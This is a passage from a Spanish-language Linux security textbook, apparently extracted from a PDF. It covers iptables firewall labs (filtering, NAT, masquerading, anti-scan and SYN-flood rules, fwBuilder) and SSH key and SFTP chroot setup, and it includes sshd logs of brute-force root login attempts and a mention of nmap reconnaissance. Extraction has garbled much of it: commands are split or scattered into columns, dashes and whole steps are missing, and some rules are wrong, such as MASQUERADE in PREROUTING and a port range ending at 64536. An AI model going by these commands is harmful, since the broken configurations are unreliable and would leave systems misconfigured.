Configurar Netfilter/IPTABLE como servidor con las reglas bsicas para permitir nicamente los
servicios dns y web.
Configurar Netfilter/IPTABLE como cliente con las reglas bsicas para permitir nicamente los
servicios dns, web y telnet.
Prerrequisitos:
Se deben tener configurados y funcionando los servicios: DNS, Apache web Server y telnet.
Asegrese que el comando ping funcione entre los dos computadores cliente y servidor.
Prepare un cable cruzado para conectar los dos equipos por si no funciona la red
Cree un usuario en linux que se llame col
Se asume que la tarjeta de red eth0 es la tarjeta de red habilitada por defecto
Recuerde que el PC que acta como cliente no debe configurar un firewall pues el servidor firewall
es el PC de su compaero que acta como firewall.
NOTA: Recuerde que estos pasos solo se hacen en el PC que acta como servidor el cliente no debe hacer
estos pasos
Paso 1: Crear el directorio /etc/firewall
# mkdir /etc/firewall
Cmbiese al directorio de trabajo /etc/firewall
# cd /etc/firewall
352
Hasta ac el comando telnet debera obtener respuesta del servidor si usted habilito el servicio como lo
indican los prerrequisitos
Liste las reglas por default del firewall:
# iptables -L
Hasta este momento todos los servicios estn habilitados y no hay reglas de firewall activadas al digitar
iptables -L
Paso 4: Edite el shell /etc/firewall/iptables.sh y adicione reglas para negar todos los servicios
# La politica es: todo es prohibido hasta que se diga lo contrario
iptables -P INPUT
iptables -P OUTPUT
iptables -P FORWARD
DROP
ACCEPT
ACCEPT
Paso 6: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea que habilite el protocolo ICMP:
iptables -A INPUT -p icmp -j ACCEPT
Guarde el archivo y ejecute el archivo de comandos:
Vuelva a probar desde un segundo PC en la red haciendo ping al firewall, espere 5 segundos, note que el
servidor responde para los PCs externos, detngalo con la secuencia de teclas CTRL C
353
Paso 7: Edite el archivo /etc/firewall/ip_tables.sh y adicione al final de la ultima lnea, las lnea que habilitan
nicamente los servicios DNS y Web
# *****************************************************
# DNS = 53
# *****************************************************
iptables -A INPUT -p udp --sport 53
-j ACCEPT
iptables -A INPUT -p udp --dport 53
-j ACCEPT
# *****************************************************
# www = 80
# *****************************************************
iptables -A INPUT -p tcp --dport 80
-j ACCEPT
Guarde el archivo y ejecute el archivo de comandos
Pruebe desde un PC en la red navegando sobre el IP del servidor, note que ahora se puede navegar.
Paso 8: Edite el archivo /etc/firewall/ip_ables.sh y adicione la lnea que Habilite nicamente el servicio
telnet:
# *****************************************************
# Telnet = 23
# *****************************************************
iptables -A INPUT -p tcp --dport 23 -j ACCEPT
Pruebe haciendo un telnet desde el cliente al servidor.
Nota: No es posible establecer una sesin remota con el superusuario por seguridad, utilice cualquier usuario
previamente creado de preferencia el usuario col.
En este paso debera funcionar el servicio telnet que no es recomendable en la vida real.
Paso 9: Edite el archivo /etc/firewall/ip_tables.sh y adicione la lnea que habilite al Servidor para actuar
como cliente para cuando el usuario frente a la consola del firewall usa un browser, recuerde que los clientes
siempre abren puertos mayores a 1024:
iptables -A INPUT -p tcp --dport 1024:64536 j ACCEPT
iptables -A INPUT -p udp --dport 1024:64536 j ACCEPT
Pruebe navegando en Internet. Esto nunca se debe hacer en un firewall !
Cuestionamientos:
354
7.0
Puede ser til limitar el trafico de nuestra empresa hacia Internet, por ejemplo evitar el acceso a sitios MP3,
www.playboy.com, www.macho.com, en general paginas no autorizadas, etc.
El filtro que maneja la salida de paquetes es OUTPUT.
Los sitios estarn indicados en otra lista de firewall y no dentro de la lista OUTPUT
# iptables P OUTPUT ACCEPT
Crear un nuevo canal de comunicaciones
#iptables -N extout
Redirecciono toda la salida hacia extout.
#iptables -A OUTPUT -j extout
Inhabilitar el acceso al servidor www.mp3.com (208.48.67.34)
#iptables -A extout -d 208.48.67.34 -j DROP
Inhabilitar la salida de informacin por el puerto 6547.
#iptables -A extout -p tcp --dport 6547.
#iptables -A extout -p udp --dport 6547
8.0
Adems de poder crear las reglas es necesario realizar la administracin sobre algunas de ellas. A
continuacin mostraremos algunos ejemplos de administracin.
Eliminar todas las listas creadas por el usuario. Estas no incluyen INPUT, FORWARD y OUTPUT
#iptables -X
355
9.0
NAT cambia la direccin IP invalida de origen de un paquete de informacin por otra direccin IP valida
manteniendo un registro de los cambios realizados, con el fin de lograr los siguientes objetivos:
356
En el siguiente ejemplo configuraremos la red 192.168.100.0 para que se le haga NAT sobre el servidor cuya
direccin vlida de salida es 200.24.94.164
10.0
En el caso de tener una sola direccin IP disponible pblica, y querer brindar distintos servicios sobre la
misma, lo podemos realizar haciendo la tarea inversa, es decir NAT hacia adentro de la empresa. Para ello
en nuestro laboratorio hemos creado 3 servidores (correo, Web y Database) que brindaran servicios. Para
ello la sintaxis de Iptables sera:
357
#
#
#
#
iptables
iptables
iptables
iptables
-t
-t
-t
-t
nat
nat
nat
nat
-A
-A
-A
-A
PREROUTING
PREROUTING
PREROUTING
PREROUTING
-p
-p
-p
-p
tcp
tcp
tcp
tcp
-d
-d
-d
-d
200.24.94.164/32
200.24.94.164/32
200.24.94.164/32
200.24.94.164/32
358
--dport
--dport
--dport
--dport
11.0
Configuracin ADSL
Una situacin muy comn hoy en da es la necesidad de conectar nuestro servidor a Internet a travs de
ADSL y seguir brindando la misma seguridad de siempre.
En este caso las direcciones IP asignadas a nuestra interfaz de conexin a Internet no ser esttica, sino
todo lo contrario, dinmica; resultando en que cada vez que nuestro servidor se conecta a Internet le sea
asignada una nueva direccin IP.
En este caso no podremos realizar NAT inverso, pero si enmascaramiento, en donde la direccin de salida de
nuestro servidor depende de la direccin asignada por el servidor DHCP de ADSL. La configuracin
resultante, en donde eth2 es la interfaz de conexin a ADSL y la red interna es 192.168.100.0:
# iptables -t nat -A PREROUTING -o eth2 -s 192.168.100.0/24 -d 0/0 -j MASQUERADE
En el caso de que deseemos especificar la interfaz de salida y de entrada en vez de las direcciones IP,
ejecutaremos:
# iptables -t nat -A POSTROUTING -o eth2 -d 0/0 -j MASQUERADE
12.0
Control de la conexin
Tambin es posible mantener un control sobre el estado de la conexin, es decir permitir o no el paso de un
paquete de informacin en funcin de su estado. Los estados que conforman esta caracterstica son 4:
NEW:
Un paquete mediante el cual se crea una nueva conexin
ESTABLISHED: Un paquete que pertenece a una conexin existente
RELATED: Un paquete que esta relacionado con una conexin, pero que no es parte de la conexin
existente, tal como un error ICMP (con el modulo de ftp cargado), un paquete estableciendo una
conexin ftp.
INVALID: Un paquete que no pudo ser identificado por alguna razn: entre estas se encuentra errores de
memoria y aquellos errores ICMP que no pertenezcan a una conexin existente.
359
En este ejemplo permitimos el paso de cualquier conexin que se dirija al puerto 22 (ssh) brindando una
mayor proteccin de seguridad a nuestro servidor.
13.0
Redireccionamiento de puertos
Redireccionar el puerto http para que vaya a un servidor proxy y no pase por NAT, a esto se le llama
"Transparent Proxy" de SQUID que permite a los usuarios utilizar un servidor proxy sin darse cuenta de ello.
Es decir el servicio http no lo controla el NAT en cambio lo hace un software especialista en trafico web como
SQUID.
# iptables -t nat -A PREROUTING i eth1 -p tcp dport 80 -j REDIRECT -to-port 8080
Si no queremos depender de la tarjeta de red pero en cambio si del IP:
# iptables -t nat -A
200.24.94.164:8080
PREROUTING
-p
tcp
-s
192.168.100.0/24
--sport
80
-j
REDIRECT
--to
360
Habilitar IP Forwarding.
El enrutamiento debe estar activado antes de que el firewall aplique sus reglas para esto edite el archivo
/etc/sysconfig/network y adicione al final la variable:
IPFORWARDING=yes, Al reiniciar este cargara en forma automtica, para hacerlo manualmente digite:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Para reiniciar el sistema digite #shutdown y g0 i6.
14.0
Laboratorio:
Objetivo:
Configurar un firewall con dos interfaces de red y hacer NAT reverso hacia tres servidores detrs del
firewall.
Prerrequisitos:
361
Cuestionamientos:
Que pasa si se adicionan las siguientes lneas: iptables -A INPUT -p tcp --dport 1024:64536 j
ACCEPT, iptables -A INPUT -p udp --dport 1024:64536 j ACCEPT
362
15.0
Probando el firewall
Existen muchos programas o ayudas para probar un Firewall entre los mas conocidos estn: NMAP, COPS y
SATAN (SAINT es una nueva versin). Estos programas hacen bsquedas sobre los puertos UDP y TCP para
ver que clase de actividad hay sobre esos puertos y as determinan que clase de vulnerabilidad hay conocida
dependiendo del servicio de red que prestan esos puertos.
Uno de los mas poderosos scanners es NMAP dado que es muy usado por los crackers. Otro bastante famoso
es Nessus pues provee informacin detallada sobre que servicios estn corriendo, que vulnerabilidad hay y
como se pude solucionar la vulnerabilidad en mencin.
Portsentry monitorea puertos y es famoso por que puede generar reglas de tipo ipchains para negar el
acceso a una fuente en particular, su direccin web es http://www.psionic.com/abacus/portsentry.
Una herramienta muy conocida a nivel de comando linux para ver que puertos manejan que servicios es #
netstat a A inet p.
Se recomienda mirar http://www.ciac.org para una lista completa de herramientas para pruebas de
seguridad. El sitio se llama US DOE CIAC United States Department of Energy, Computer incident Advisory
Capability.
363
16.0
Puede ser til limitar el trafico que generan los atacantes para averiguar que puertos tiene el firewall abierto,
con el comando nmap sV P0 IP del firewall el atacante puede saber que servicios y que versin de
servicios esta prestando el firewall.
Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores que estn detrs del firewall a 2 por segundo. La regla es la
siguiente:
# ****************************************************************
# Proteccin contra Syn-Flooding scan a 2 por segundo
# ****************************************************************
iptables -A INPUT -p tcp --syn -m limit --limit 2/s -j ACCEPT
# ****************************************************************
# Proteccin contra la exploracin FIN y Xmas-tree Scan
# ****************************************************************
iptables -A INPUT -p tcp --tcp-flags ALL PSH,FIN,URG -j DROP
# ****************************************************************
# Proteccin contra la exploracin Null Scan
# ****************************************************************
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
17.0
FwBuilder
Si bien es importante conocer los comandos de iptables en el caso de una instalacin, a veces es ms
cmodo poder configurar y administrar el sistema a travs de una interfaz grafica. En este caso
analizaremos el programa fwbuilder que a travs de una interfaz KDE nos permitir configurar las reglas de
firewall que protegern nuestro sitio contra accesos externos. El paquete fwbuilder puede ser obtenido de
ftp://ftp2.lacositarica.com/pub/soss/updates/RPMS y se compone de los siguientes paquetes
libfwbuilder-0.10.4
fwbuilder-1.0.0
fwbuilder-iptables-1.0.0
Los siguientes paquetes a su vez dependen del siguiente software
glib-1.2.8
glibc-2.2.4
glibc-devel
gtk-1.2.8
gtk-devel
gtkmm-1.2.7
gtkmm-devel
libstdc++-2.10
libsigc++-1.0.3
libxml-2.4.4
libxslt-1.0.4
libfwbuilder-0.10.4
Todos estos paquetes se instalan en el momento de instalar Lacositarica OLS 311 con la opcin
Todos los paquetes. Para encontrar ms informacin al respecto, se puede acceder al sitio Web de
fwbuilder en http://www.fwbuilder.org http://freshmeat.net/projects/fwbuilder .
Los paquetes de software de fwbuilder tienen formato RPM y los instalaremos de la siguiente
manera.
rpm i libfwbuilder-0.10.4.i386.rpm
364
Una vez instalados todos los paquetes de software, desde una interfaz KDE abriremos una ventana
de shell y ejecutaremos fwbuilder, obteniendo la siguiente interfaz.
Clasificacin
de objetos
Objetos
Figura 4
El rea de administracin de fwbuilder se encuentra dividida en 4 areas:
Esta es el rea donde el usuario crear los servidores o
Configuracin de equipos pertenecientes a su red, la red a proteger, el
firewall, y todas aquellas confguraciones propias del
usuario
sistema a implementar.
Configuracin del Contiene informacin de todos los servicios standards
sistema
provistos por el sistema
Clasificacin de Clasifica todos los objetos en funcin del tipo de
objetos
objeto, red, host, firewall, servicio, etc.
Dentro de cada clase o tipo de objeto, muestra las
Objetos
instancias de esa clase. Por ejemplo dentro de la clase
hosts se encuentra el servidor fw.lacositarica.com
La primera tarea a realizar es la creacin de aquellos servidores o redes que sean necesarios para
nuestra configuracin. Para ello iremos a Tools -> Discover Objects y crearemos los objetos necesarios para
nuestra red. La informacin para crear los objetos puede ser obtenida de
El archivo /etc/hosts
Servidor DNS
SNMP
En la seccin hosts deben figurar todos aquellos servidores o computadores que son importantes
para el funcionamiento de nuestra red, como ser servidores de correo, ftp, web, etc. Creados los servidores
o hosts, crearemos la red a proteger, para ello iremos a Insert -> Network e indicaremos la direccin IP de
nuestra red.
Una vez creados todos los elementos necesarios para nuestra red agregaremos el Firewall (Insert > Firewall) y nos solicitar la siguiente informacin
365
Figura 5
La informacin necesaria para configurar el Firewall es:
A continuacin agregaremos en la seccin Interfaces aquellas interfaces que tienen conexin con
las redes externas. En el caso de utilizar ADSL o algn sistema que asigne IP dinamicamente, indicaremos
en al creacin de la interfaz que la IP sera dinamica y el nombre de la interfaz deber ser el de la interfaz de
salida. En este caso hemos colocado WAN, pero debera ser la interfaz de salida del sistema eth0, eth1, etc.
Figura 6
Una vez creada la interfaz de salida del sistema, podremos crear la regla de proteccin de firewall.
Para ello iremos a Rules -> Help me build firewall policy . All no solicitar la siguiente informacin en el
siguiente orden:
7. Proteccin del sistema:
localhost
Red interna
Red interna y DMZ
8. Seleccin de la interfaz de salida
9. Seleccin de reglas antispoofing y configuracin NAT
366
Figura 7
Cada regla esta indicada por un numero (Num) en la cual se pueden configurar las siguientes
utilidades:
Source
Destination
Service
Action
Options
Comment
Para configurar los objetos especificados en las reglas, seleccionaremos el objeto en el Clasificacin
de objetos haremos click con el botn derecho e iremos a Copy . Despues iremos a Policy dentro de
Firewall, ubicaremos la seccin sobre la cual deseamos pegar el objeto (por ejemplo para agregar la red lan
interna sobre la regla en el tag Source) click con el boton derecho y pegamos el objeto copiado. Una vez
pegado el objeto damos un click sobre el boton Apply y continuamos con la configuracin de la regla. En el
caso de especificar los servicios, los mismos se encuentran descritos en Configuracin del sistema y
simplemente deberemos pegarlos desde esa seccin. En el ejemplo de la Figura 7, estan permitidos todos los
servicios excepto ftp y http
En el caso de NAT la operatoria es la misma, solo que debemos tener en cuenta que la interfaz de
firewall (simbolizado con un servidor y un muro de ladrillos) debe aparecer en cada una de las reglas dado
que es nuestra interfaz hacia el mundo exterior.
Figura 8
367
En este caso no solo protegemos nuestra red interna del acceso del mundo exterior, sino que
tambin redireccionamos el correo recibido a nuestro servidor de correo interno
18.0
Un firewall puede ser un dispositivo fsico o un software corriendo en un sistema operativo. En general, una
caja con dos o mas interfaces de red, donde se fijan reglas de filtrado con las que se decide si una conexin
determinada puede establecerse o no.
Incluso puede ir ms all y realizar modificaciones sobre las comunicaciones, como el NAT
IPtables es un sistema de firewall vinculado al kernel de linux, no es un servicio que iniciamos o detenemos
o que se pueda caer por un error de programacin, iptables esta integrado con el kernel, es parte del
sistema operativo.
Lo que se hace es aplicar las normativas, mediante la ejecucin del comando iptables, con el que se aaden,
borran, o crean las mismas.
Por ello, un firewall de iptables no es sino un simple script de shell en el que se van ejecutando las reglas de
firewall.
Lo podemos hacer nosotros o es probable que venga en la distribucin (como en redhat por ejemplo).
Tambin se pueden salvar las reglas aplicadas con el comando iptables-save en un archivo y gestionar ese
archivo con una aplicacin o front-end desde la X o desde la web
Antes de las reglas de NAT se pueden aplicar reglas de tipo MANGLE, destinadas a modificar los paquetes;
aunque son reglas poco conocidas y no utilizadas frecuentemente vale la pena mencionarlas.
Por lo tanto tenemos tres tipos de reglas en iptables:
- MANGLE
- NAT: reglas PREROUTING, POSTROUTING
- FILTER: reglas INPUT, OUTPUT, FORWARD
* EJEMPLO DE REGLA MANGLE USADAS CUANDO NO PUEDO NAVEGAR EN ALGUNOS SITIOS CUANDO USO
PPPoE.:
Usar /ip firewall mangle para cambiar el valor MSS (maximum segment size) a un valor menos de 40 bytes
que su coneccin MTU. Por ejemplo, si el enlace PPPoe esta encriptado con MTU=1492, configurar la regla
mangle asi:
/ ip firewall mangle
add chain=forward protocol=tcp tcp-flags=syn action=change-mss new-mss=1448
* IMPORTANTE
El orden en el que se ponen las reglas de firewall es determinante. Normalmente cuando hay que decidir que
se hace con un paquete se va comparando con cada regla del firewall hasta que se encuentra una que le
afecta (match), y se hace lo que dicte esta regla (aceptar o denegar); despus de eso NO SE MIRARN MS
REGLAS para ese paquete.
Cul es el peligro? Si ponemos reglas muy permisivas entre las primeras del firewall, puede que las
siguientes no se apliquen y no sirvan de nada.
368
19.0
Laboratorio:
Objetivo:
Una empresa dispone de una sede donde sus empleados trabajan utilizando computadores que tienen acceso
a Internet. Por otra parte, esta empresa dispone de dos servidores localizados en un data center.
Un servidor web que ofrece tambin servicio web seguro y DNS
Un servidor de correo. El esquema es el siguiente:
Servidor web
Servidor correo
Las mquinas de la red interna pueden navegar por Internet (HTTP y HTTPS) sin ninguna limitacin
(no olvide que el DNS corre en el servidor web).
Las mquinas de la red interna solamente pueden enviar correo (SMTP) a travs del servidor de
correo de la organizacin.
Las mquinas de la red interna solamente pueden descargar correo (POP3 e IMAP) del servidor de
correo de la organizacin.
Desde el exterior no ha de ser posible establecer conexiones ni enviar ningn tipo de informacin a
las mquinas de la red interna.
369
# Las mquinas de la red interna solamente pueden enviar correo (SMTP) a travs del servidor de correo de
la organizacin
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 25 -j ACCEPT
# Las mquinas de la red interna solamente pueden descargar correo (POP3 e IMAP) del servidor de correo
de la organizacin
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 110 -j ACCEPT
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 143 -j ACCEPT
# Esto autoriza la administracin remota desde la
que se encuentran en el proveedor hosting
iptables -A FORWARD -p tcp -s 192.168.100.0/24
iptables -A FORWARD -p tcp -s 192.168.100.0/24
iptables -A FORWARD -p tcp -s 192.168.100.0/24
Parte 2: Disee las reglas de configuracin del Cortafuegos 2 suponiendo que se trata de un PC con Linux
que utiliza Iptables. Los requisitos son los siguientes:
El servidor web puede ofrecer servicio web (HTTP y HTTPS) a todo Internet.
El servidor de correo puede recibir y enviar correo (SMTP) desde y hacia todo Internet.
Al servidor de correo solamente se le puede descargar correo (POP3 e IMAP) desde las mquinas de
la red de la organizacin.
El Cortafuegos 2, el servidor de correo y el servidor web se pueden administrar remotamente
mediante SSH desde mquinas de la red de la organizacin.
Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores a 2 por segundo.
Respuesta:
# Firewall 2: Servidores
# Limpio las cadenas para iniciar el firewall 2
iptables -F
370
iptables -X
iptables -t nat -F
iptables -t nat -X
# Creo las Polticas por defecto
iptables -P INPUT
DROP
iptables -P OUTPUT
DROP
iptables -P FORWARD
DROP
# Permito todo trfico sobre loopback de la consola del servidor
iptables -A INPUT
-i lo -j ACCEPT
iptables -A OUTPUT
-o lo -j ACCEPT
# Permito que los servidores salgan a internet con el IP valido del firewall 2
iptables -t nat -A POSTROUTING -s 20.0.0.0/8 -o eth0 -j MASQUERADE
iptables -A FORWARD -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
# Permito el trfico del gateway de la LAN as como lo hice con la lo, esto permite ping para evaluar la
conectividad interna
iptables -A INPUT
-i eth1 -j ACCEPT
iptables -A OUTPUT
-o eth1 -j ACCEPT
# El servidor web puede ofrecer servicio web (HTTP y HTTPS) a todo Internet
# NAT inverso DNS
iptables -t nat -A PREROUTING -p udp -d 30.1.1.1 --dport 53 -j DNAT to
20.0.0.2:53
# NAT inverso WEB
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 80 -j DNAT --to 20.0.0.2:80
# NAT inverso WEB SEGURO
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 443 -j DNAT --to 20.0.0.2:443
# El servidor de correo puede recibir y enviar correo (SMTP) desde y hacia todo Internet
# NAT inverso Correo SMTP
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 25 -j DNAT --to 20.0.0.3:25
# Al servidor de correo solamente se le puede descargar correo (POP3 e IMAP) desde las mquinas de la red
de la organizacin
# NAT inverso Correo POP3
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 110 -j DNAT --to 20.0.0.3:110
# NAT inverso Correo IMAP
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 143 -j DNAT --to 20.0.0.3:143
# El Cortafuegos 2, el servidor de correo y el servidor web se pueden administrar remotamente mediante
SSH desde mquinas de la red de la organizacin
# NAT inverso SSH para admon web
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 2280 -j DNAT --to 20.0.0.2:22
# NAT inverso SSH para admon mail
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 2225 -j DNAT --to 20.0.0.3:22
# Para admon remota de SSH del firewall
iptables -A INPUT -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp -s 30.1.1.1 -d 30.0.0.1 --sport 22 -j ACCEPT
# Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores a 2 por segundo.
# Proteccion contra Syn-Flooding a 2 por segundo
iptables -A INPUT -p tcp --syn -m limit --limit 2/s -j ACCEPT
20.0
371
372
PARTE III
INSEGURIDAD EN SISTEMAS
OPERATIVOS
373
Captulo 15
Cifrando servicios de red con SSH
1.0
SSH
SSH indica Secure Shell, es un programa que permite ejecutar comandos, hacer sesin remota y mover
archivos hacia mquinas remotas de forma segura, para esto provee fuerte autenticacin y encriptacin
sobre los canales de transmisin inseguros entre el cliente y el servidor.
Es el reemplazo de los comandos rlogin, rsh y rcp, adicionalmente provee conexiones X window seguras.
Los tradicionales comandos rcomo rlogin, rcp, rsh son vulnerables a diferentes clases de ataques.
SSH
Es posible que alguien registre todo el trfico que entra y sale de sus servidores para descubrir las
contraseas de cualquier usuario. SSH encripta el canal y permite conexiones seguras transparentes al
usuario.
374
2.0
SSH nos protege de ataques como Ip spoofing, Ip Source Routing y DNS Spoofing, SSH no confa en la red,
si un intruso tomo el control de la red solo podra forzar a ssh a desconectarse pero no podra desencriptar
la informacin sin embargo si el atacante ha ganado el acceso al usuario root puede derribar a ssh tambin.
Todas las conexiones son encriptadas usando el algoritmo IDEA, mientras que las llaves de encripcin son
intercambiadas usando RSA y DSA los datos usados en el intercambio son destruidos de forma peridica (
las llaves no estn a salvo en ninguna parte ). Cada host tiene una llave RSA ( privada ) la cual es usada
para autenticar el host.
La versin de Openssh puede ser distribuida libremente segn GNU pero la versin de ssh sobre MS
Windows es un producto comercial el cual requiere de una licencia.
En algunos pases, particularmente Francia, Rusia, Iraq y Pakistan, puede ser ilegal usar cualquier clase de
encripcin.
Si reside en EEUU, debe estar enterado que mientras ssh fue escrito fuera de los Estados Unidos, usando
informacin pblica disponible para todo el mundo, el gobierno de este pas considero una gran ofensa
exportar este software desde U.S una vez haba sido importado, incluyendo ponerlo en un sitio FTP.
Los algoritmos RSA e IDEA, los cuales son usados por ssh, son patentados en diferentes pases, incluyendo
U.S, necesitando obtener licencias para uso comercial.
Respecto a la administracin de SSH el problema central radica en el manejo de las llaves, para permitirle a
un cliente conectarse a un host remoto con autenticacin RSA, el servidor necesita conocer la llave pblica
del cliente.
Cuando el cliente se conecta por primera vez entonces se establece una conexin segura de ese cliente con
ese servidor y el Digital finger Print no se encontrar dentro del anillo de known-hosts del cliente, en ese
momento el servidor sshd notifica que la autentificacin no puede ser establecida pues el cliente no es
conocido. A continuacin se le pide al cliente la autorizacin para negociarla en forma automtica, es decir
el cliente traer la llave pblica y la insertar en el anillo.
SSH establece conexiones seguras evitando de esta manera la vulnerabilidad de otros servicios como el
telnet, rlogin, rsh y ftp.
SSH usa el binario sshd como demonio para atender requerimientos de clientes, el puerto por donde se
presta el servicio es el 22 y por lo tanto es importante inhabilitar servicios que no se deberan utilizar como
el telnet que trabaja en el puerto 23, esto puede hacerse a travs del archivo de configuracin
/etc/xinetd.d/telnet poniendo la palabra yes frente a la variable disable y reiniciando el demonio inetd.
# /etc/init.d/xinet restart
SSH en Linux
Si desea saber que versin de SSH est instalada actualmente en su sistema, corra el comando: # ssh V.
3.0
Generacin de llaves
375
Generacin de llaves
Para las versiones 3.0.1 o mayores la llave privada de tipo DSA residir en el archivo $home/.ssh/id_dsa y la
pblica en $home/.ssh/id_dsa.pub.
Para las llaves de tipo RSA residir en el archivo $home/.ssh/id_rsa y la pblica en $home/.ssh/id_rsa.pub.
El comando para generar las llaves es:
# ssh-keygen, sin parmetros esto genera un par de llaves de tipo rsa.
# ssh-keygen t rsa, para el sistema de llaves pblicas RSA
# ssh-keygen t dsa, para el sistema de llaves pblicas DSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave de tipo oracin.
Importante:
Nunca cambie el nombre de los archivos de las llaves
376
4.0
Comandos
5.0
Archivos de configuracin
Servidor:
Para las versiones anteriores a la 3.0.1 el servicio se debe arrancar con el comando sshd y leer el archivo
de configuracin /etc/ssh/sshd_config.
377
Archivos de configuracin
En el Servidor:
El servicio se debe arrancar con el comando
sshd
SSHD leer el archivo de configuracin
/etc/ssh/sshd_config
Cuando se instala manualmente buscara
/usr/local/etc/ssh/sshd_config
Nota: Se recomiendan
/etc/ssh/sshd_config
las
Port
Protocol
GSSAPICleanupCredentials
UsePAM
PasswordAuthentication
ChallengeResponseAutehtication
GSSAPIAuthentication
X11Forwarding
UseDNS
siguientes
variables
en
el
archivo
de
configuracin
del
servidor
22
2
yes
Yes
yes
no
yes
yes
no
Cliente:
Los comandos de clientes leern el archivo de configuracin /etc/ssh/ssh_config.
378
Archivos de configuracin
En el cliente:
Guarda registros individuales de las llaves
publicas de los hosts a los que podemos
acceder
$home/.ssh/know_hosts son las llaves
publicas de esos servidores
SSH
cliente
leer
el
archivo
de
configuracin /etc/ssh/ssh_config
$home/.ssh/authorized_ keys son las llaves
publicas por usuario de esos servidores.
Existen archivos que se crean de manera automtica a medida que el servicio los requiere, tal es el caso de
known_hosts, este archivo guarda en registros individuales las llaves de los hosts a los que podemos acceder
y $home/.ssh/authorized_ keys son las llaves pblicas por usuario de esos servidores.
Por ejemplo para adicionar una llave pblica del archivo id_dsa digite:
# cat id_dsa.pub >> authorized_keys
6.0
Notas de seguridad
Para que ssh no solicite el password al usuario se debe adicionar la llave pblica $home/.ssh/id_rsa.pub o la
$home/.ssh/id_dsa.pub del usuario remoto (o el nombre de llave que se le haya asignado) en el servidor
remoto al final del archivo $home/.ssh/authorized_keys.
# cat id_dsa.pub >> authorized_keys
Nota: Nunca cambie el nombre id_rsa.pub, si lo hace pedir password.
379
Oct 26 21:34:06
ssh2
Oct 26 21:34:07
in AllowUsers
Oct 26 21:34:07
ssh2
Oct 26 21:34:08
AllowUsers
Oct 26 21:34:08
59203 ssh2
Oct 26 21:34:09
in AllowUsers
Oct 26 21:34:09
ssh2
Oct 26 21:34:10
in AllowUsers
Oct 26 21:34:11
ssh2
Oct 26 21:34:12
in AllowUsers
Oct 26 21:34:12
AllowUsers
Oct 26 21:34:12
ssh2
Oct 26 21:34:12
59864 ssh2
Oct 26 21:34:14
in AllowUsers
Oct 26 21:34:14
ssh2
Oct 26 21:34:15
in AllowUsers
Oct 26 21:34:15
ssh2
Oct 26 21:34:16
AllowUsers
Oct 26 21:34:16
60271 ssh2
Oct 26 21:34:17
in AllowUsers
server1 sshd[17200]: Failed password for invalid user root from 209.59.161.30 port 37955
server1 sshd[17204]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17204]: Failed password for invalid user root from 209.59.161.30 port 38042
server1 sshd[17202]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17202]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17206]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17206]: Failed password for invalid user root from 209.59.161.30 port 38125
server1 sshd[17209]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17209]: Failed password for invalid user root from 209.59.161.30 port 38209
server1 sshd[17213]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17210]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17213]: Failed password for invalid user root from 209.59.161.30 port 38284
server1 sshd[17210]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17215]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17215]: Failed password for invalid user root from 209.59.161.30 port 38370
server1 sshd[17219]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17219]: Failed password for invalid user root from 209.59.161.30 port 38443
server1 sshd[17217]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17217]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17221]: User root from host.gamerwithin.com not allowed because not listed
380
Debemos tener una carpeta para enjaular los usuarios por ejemplo /chroot o /home
El dueo de la carpeta debe ser el usuario root y los permisos 755
Se debe crear un grupo especial para enjaular los usuarios especiales que harn ftp seguro, por
ejemplo el grupo sftp
En esta carpeta /chroot debe residir una subcarpeta por cada usuario, por ejemplo para el usuario
juan existir la carpeta /chroot/juan
El dueo de la carpeta debe ser el usuario creado en Linux y el grupo debe ser sftp con permisos
700 en cada carpeta de cada usuario
El permiso 700 no le permite a los usuarios mirar el contenido de la carpeta de otros usuarios
Es clave que esos usuarios pertenezcan a un grupo especial como el mencionado sftp
No es necesario cambiar el Shell /bin/ksh de los usuarios
La versin de openssh debe ser como mnimo 4.8
El comando rpm para consultarlo es rpm q openssh
Edite el archivo sshd_config y adicione al final las siguientes lneas:
Subsystem
sftp
internal-sftp
Match Group sftp
ChrootDirectory /chroot
X11Forwarding yes
AllowTcpForwarding yes
ForceCommand internal-sftp
Nota: se debe verificar que la instruccin Subsystem no este registrada dos veces
Reinicie el servicio
Pruebe copiar archivos
Nota: Esos usuarios no podrn hacer sesiones remotas solo podrn hacer transferencias de archivos
381
7.0
Laboratorio: Autenticacin de usuarios confiables entre maquinas con certificado digital en cambio
de IP, Usuario y clave
Objetivo:
Prerrequisitos:
